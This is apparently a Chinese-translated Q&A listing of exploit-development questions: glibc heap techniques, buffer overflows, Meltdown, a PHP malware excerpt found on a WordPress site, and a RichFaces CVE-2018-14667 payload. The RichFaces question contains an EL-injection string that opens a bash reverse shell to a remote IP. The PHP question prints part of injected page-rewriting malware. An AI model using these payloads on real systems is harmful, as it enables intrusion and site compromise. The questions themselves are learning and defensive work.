标签: exploit

利用Glibc 2.12.1开发堆

我一直在寻找没有好结果.

我想知道在文本中解释为Malloc Maleficarum或Malloc Des-Malleficarum的技术在glibc版本2.12.1中是否有效.

在第二个提到的文本中说这些技术是在glibc 2.7和2.8版本中测试的,所以我真的不知道它们是否适用于我的glibc版本.当然我可以测试它们,但是,首先,只有他们自己的技术才真的很难,而另一方面,如果他们不工作我不知道是不是因为glibc版本或我的错.

而且,我还没有发现任何实际的堆漏洞.而且,我也找不到通过这些glibc版本实现的更改.

提前致谢.

exploit glibc heap-corruption shellcode

5
推荐指数
1
解决办法
764
查看次数

这个PHP究竟是什么利用代码(在我的应用程序中找到)?

我在我的客户端网站(wordpress)的所有php文件的base 64中找到了这个代码,我试图了解它的作用.

我也试图弄清楚它是否是一个应用程序漏洞或直接FTP访问已超过此代码.

一切始于setup_globals_777()ob_start('mrobh')设置回调的mrobh($content)函数.

然后打电话到gzdecodeit ($decode)麻烦开始的地方.

它似乎获取页面内容并进行更改.现在我正在尝试检测具体的变化并理解所有功能,包括第二个gzdecodeit().

有人可以对此有所了解吗?

电话

setup_globals_777();
ob_start('mrobh');
// Here the application code and html output starts out
Run Code Online (Sandbox Code Playgroud)

回调:

function mrobh ($content)
{
    @Header('Content-Encoding: none');
    $decoded_content = gzdecodeit($content);
    if (preg_match('/\<\/body/si', $decoded_content)) {
        return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1',
                            $decoded_content);
    } else {
        return $decoded_content . gml_777();
    }
}
Run Code Online (Sandbox Code Playgroud)

设置功能(可理解)

function setup_globals_777 ()
{
    $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
    $mz = "/tmp/";
    if (! is_dir($rz)) {
        @mkdir($rz); …
Run Code Online (Sandbox Code Playgroud)

php exploit

5
推荐指数
2
解决办法
3790
查看次数

缓冲区溢出漏洞利用:函数 ret 上的段错误到堆栈代码

我试图利用测试程序中的缓冲区溢出来执行任意代码。我在 NetBSD 6 i386 上。这是C代码:

int checkPassword(char *password)
{
  char                  savePassword[64] = {0};
  char                  *logMessage;
  int                   isUser = 0;
  int                   isAdmin = 0;
  int                   i;

  if (!strcmp(password, userPassword))
    isUser = 1;
  strcpy(savePassword, password);  
  for (i = 0; password[i]; ++i)
    password[i] ^= xorKey;
  if (!strcmp(password, adminPassword))
    isAdmin = 1;
  if (!(isAdmin | isUser)) {
    /* ... */
  }
  return isAdmin ? ADMIN : isUser ? USER : NOBODY; /* main.c:79 */
}
Run Code Online (Sandbox Code Playgroud)

我将代码插入savePassword缓冲区 (at %ebp - 0x58)。下面是 GDB …

c exploit buffer-overflow segmentation-fault netbsd

5
推荐指数
1
解决办法
1956
查看次数

是否可以使用缓冲区溢出覆盖%eax?

我知道程序堆栈看起来有点像这样(从高到低):

   EIP   |   EBP   |   local variables
Run Code Online (Sandbox Code Playgroud)

但我在哪里可以找到%eax,以及其他通用寄存器?是否可以使用缓冲区溢出覆盖它们?

更新:最后,我甚至不必覆盖%eax,因为事实证明该程序%eax在某个时刻指向了用户输入.

memory exploit buffer-overflow

5
推荐指数
1
解决办法
1163
查看次数

无法访问地址处的内存,尝试缓冲区溢出

我正在学习如何溢出缓冲区。我很难覆盖回信地址。这是我试图利用的易受攻击的代码:

(gdb) disas main 
Dump of assembler code for function main:
0x0804845b <+0>:     push   ebp
0x0804845c <+1>:     mov    ebp,esp
0x0804845e <+3>:     sub    esp,0x100
0x08048464 <+9>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048467 <+12>:    add    eax,0x4
0x0804846a <+15>:    mov    eax,DWORD PTR [eax]
0x0804846c <+17>:    push   eax
0x0804846d <+18>:    call   0x8048340 <strlen@plt>
0x08048472 <+23>:    add    esp,0x4
0x08048475 <+26>:    mov    edx,eax
0x08048477 <+28>:    mov    eax,DWORD PTR [ebp+0xc]
0x0804847a <+31>:    add    eax,0x4
0x0804847d <+34>:    mov    eax,DWORD PTR [eax]
0x0804847f <+36>:    push   edx
0x08048480 <+37>:    push   eax …
Run Code Online (Sandbox Code Playgroud)

x86 assembly gdb exploit reverse-engineering

5
推荐指数
1
解决办法
5579
查看次数

为什么我的缓冲区溢出漏洞利用只会打开用户外壳而不是根外壳?

我一直在关注一些有关缓冲区溢出利用的教程。但是我的问题是,我无法打开根外壳程序,而是总会得到一个普通的用户外壳程序。我检查了以下几点

我重新验证了以下各项,但仍然无法实现实际的root shell:

  • 我将二进制文件的所有者正确设置为root,还设置了s标志(检查)
  • 我已验证我使用的漏洞利用程序是否正常工作,使用了正确的system @ plt和exit @ plt地址,并且这些值已通过pop rdi; ret;正确加载到rdi中。段; 我毕竟得到了一个shell,但是没有得到预期的根shell;(校验)
  • 我听说如今破折号和bash确实放弃了特权,将/ bin / sh链接到/ bin / zsh会有所帮助,但这并没有帮助我;仍然获得非root shell(检查,方法对我不起作用)
  • 我还尝试在二进制文件中调用setuid(0)和seteuid(0)进行测试。仍然没有根壳;(检查,对我不起作用)
  • 我也看到有些人设置的/ proc / sys目录/内核/阎王/ ptrace_scope为0(见张贴在这里),看到张贴在这里,但事实并非如此,我(值设置为1,我从来没有感动)(支票,我的值设置为1,应该可以)
  • 我正在使用linux mint 18.1 serena,也许这里有一项附加的安全功能会丢弃特权并阻止root-shell?
  • 请参阅下面的我的C代码和利用python脚本以供参考(漏洞位于vuln()函数中);函数shell()仅具有对应@plt函数的地址可用(这仅用于练习和玩耍)
  • 我使用'gcc -fno-stack-protector -o ghost ghost.c'来编译二进制文件,以避免堆栈金丝雀

有人知道可能是什么问题吗?为什么我仍然无法获得root shell?

在此先感谢您的任何建议和提示。最好的Zaphoxx

易受攻击的C代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
    system("/bin/sh");
    exit(0);
}
int vuln(){
    char buf[4];
    ssize_t l=0;
    printf("[+] input: ");
    l=read(0,buf,128);
    printf("[+] recv: ");
    write(1,buf,l);
    return 0;
}

int main(){
    //setbuf(stdout,0);
    setuid(0);
    seteuid(0);
    vuln();
    return 0;
}
Run Code Online (Sandbox Code Playgroud)

python利用脚本创建有效负载: …

c python exploit x86-64 buffer-overflow

5
推荐指数
1
解决办法
892
查看次数

在ARM Cortex-M3上编写一个简单的C任意代码执行漏洞?

我正在尝试在C中编写一个概念证明,演示ARM Cortex-M3上堆栈中的内存缓冲区的代码执行.这将有助于证明正确使用ARM MPU可以防止此类攻击.我想一个快速而肮脏的方法来将一些代码放入堆栈中是从常规函数中复制它然后使用goto跳转到它,如下所示:

static void loopit(void)
{
    printf("loopit\n");
    while (1);
}

void attack(void)
{
    uint8_t buffer[64] __attribute__((aligned(4)));
    memcpy(buffer, loopit, sizeof(buffer));
    goto *((void *) (int) buffer);
}
Run Code Online (Sandbox Code Playgroud)

我希望当我调用攻击函数时,它会将代码复制到堆栈中,跳转到它,打印消息并进入无限循环.但是,我在故障寄存器中使用以下值获得异常:

HFSR = 0x40000000
CFSR = 0x00020000
PSR  = 0x60000000
Run Code Online (Sandbox Code Playgroud)

这似乎是UFSR中的INVSTATE位,表示"非法使用EPSR",我读到的通常是由于BX指令试图跳转到LSB设置为0的地址,处理器将其解释为函数其中包含非Thumb代码,但Cortex-M处理器仅允许Thumb代码.我看到memcpy被赋予了loopit函数的奇数地址,因为我假设编译器正在使用实际内存地址进行ORing 1.所以我认为解决方法是重写我的攻击函数,如下所示:

void attack(void)
{
    uint8_t buffer[64] __attribute__((aligned(4)));
    memcpy(buffer, ((int) loopit) & ~1, sizeof(buffer));
    goto *((void *) ((int) buffer) | 1);
}
Run Code Online (Sandbox Code Playgroud)

但是在这之后我得到了一个与故障寄存器不同的异常:

HFSR = 0x40000000
CFSR = 0x00080000
PSR  = 0x81000000
Run Code Online (Sandbox Code Playgroud)

这似乎没有任何意义,UFSR第3位设置意味着"处理器已尝试访问协处理器".看看PC,这次看起来跳跃成功了,这很好,但后来有些东西掉了轨道,CPU看起来正在执行奇怪的指令,而不是进入无限循环.我尝试在goto之前关闭中断并注释掉printf,但没有运气.有什么问题以及如何使其发挥作用?

c exploit cortex-m

5
推荐指数
1
解决办法
492
查看次数

CVE-2018-14667;为 RichFaces 3.X 生成有效负载

我目前在虚拟机 JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo 上运行,这使我容易受到 CVE-2018-14667(只能从我的 LAN 访问)。我已经测试了https://seclists.org/fulldisclosure/2018/Nov/47 中提到的有效负载,它工作正常。现在,我试图弄清楚如何生成我自己的有效负载以获得反向 shell。

这是我目前发现的用于生成我自己的有效载荷的信息;

这需要通过 zlib 压缩:

#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1\")}
Run Code Online (Sandbox Code Playgroud)

如何使用 zlib 进行压缩:

import zlib
import binascii

data = '#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1\")}'

compressed_data = zlib.compress(data, 2)

print('Original data: ' +  data)
print('Compressed data: ' + binascii.hexlify(compressed_data))
Run Code Online (Sandbox Code Playgroud)

然后,使用 base64url 对压缩数据进行编码:

https://simplycalc.com/base64url-encode.php

然后像这样测试它:

http://192.168.2.37:8181/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/Nzg1ZTQ1OGFjZDBhMDIyMTE0NDY1ZjQ1MGM0MjE3NWQ0NzgzNmEzNmIzNjk1YjliZGVjMGM2Y2I4YzhkNjk4ZDNmMDRkMWJiMjcwNWI1ZjkzODljZjMyZDllMzNkZTMzYzYwNDAzYTZiZGQzMzEzMmZlYzM0M2QwMDZlNzJhNWM4NTZmYTQxNzVkMzQzOGVkMDczODY1OWZlYzE1ZTllNzdmYzQzNDA2YzM2OGM1YmZiN2JlODQwOTk5Y2ZjZTcxYzAwN2Y2OGM5ZTc1MWNjOWNhOTI4ZTA4ODM0NWE0ZmUyNjY0YWI0MDZlNzZhMDYwYmQxNWIyNjkyNTY5YmFhNTI0YWEwZWU1YWYzN2MzYzEzMzg1

不幸的是,每次我收到 HTTP 状态代码 500 时说:

javax.faces.FacesException:解码资源数据时出错

我整晚都在试图解决这个问题,但没有成功,所以我决定在这里问,也许我可以找到解决当前问题的方法。

任何帮助将不胜感激。

谢谢

- - 更新 - -

您可以在此处找到用 Java 编写的 PoC …

java jboss exploit richfaces

5
推荐指数
1
解决办法
779
查看次数

Google Drive API -- 获取不同格式的直接视频下载

众所周知,通过简单地检索可以直接下载任何文件(任何大小)的 Google API 密钥(甚至将视频嵌入网站等),问题是:当在形式:

https://www.googleapis.com/drive/v3/files/### fileId ###?alt=media&key=### API 密钥 ### 插入文件 ID 和 API 密钥。

如果我想嵌入一个已经是 .mp4 格式的视频,这可以工作,但是如果我想将 .mpg 视频嵌入到 HTML 网站:默认情况下,.mpg 格式是不可嵌入的,但它知道Google Drive 会自动将其所有视频文件转换为可在浏览器中播放的各种格式,因此:

如何访问 Google Drive 中视频的不同视频格式?最好,我正在寻找一种编程方式来获取它(如 Node.js 或 PHP)。

javascript exploit google-api node.js google-drive-api

5
推荐指数
1
解决办法
1269
查看次数

鼓励CPU对Meltdown测试执行乱序执行

我正尝试在Intel Core-i5 4300M CPU 上使用未修补的内核4.8.0-36来利用Ubuntu 16.04的崩溃安全漏洞。

首先,我使用内核模块将秘密数据存储在内核空间中的某个地址:

static __init int initialize_proc(void){
    char* key_val = "abcd";
    printk("Secret data address = %p\n", key_val);
    printk("Value at %p = %s\n", key_val, key_val);
}
Run Code Online (Sandbox Code Playgroud)

printk语句为我提供了机密数据的地址。

Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd
Run Code Online (Sandbox Code Playgroud)

然后,我尝试在此位置访问数据,并在下一条指令中使用它来缓存数组的元素。

Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd …
Run Code Online (Sandbox Code Playgroud)

x86 exploit intel cpu-architecture linux-kernel

5
推荐指数
1
解决办法
118
查看次数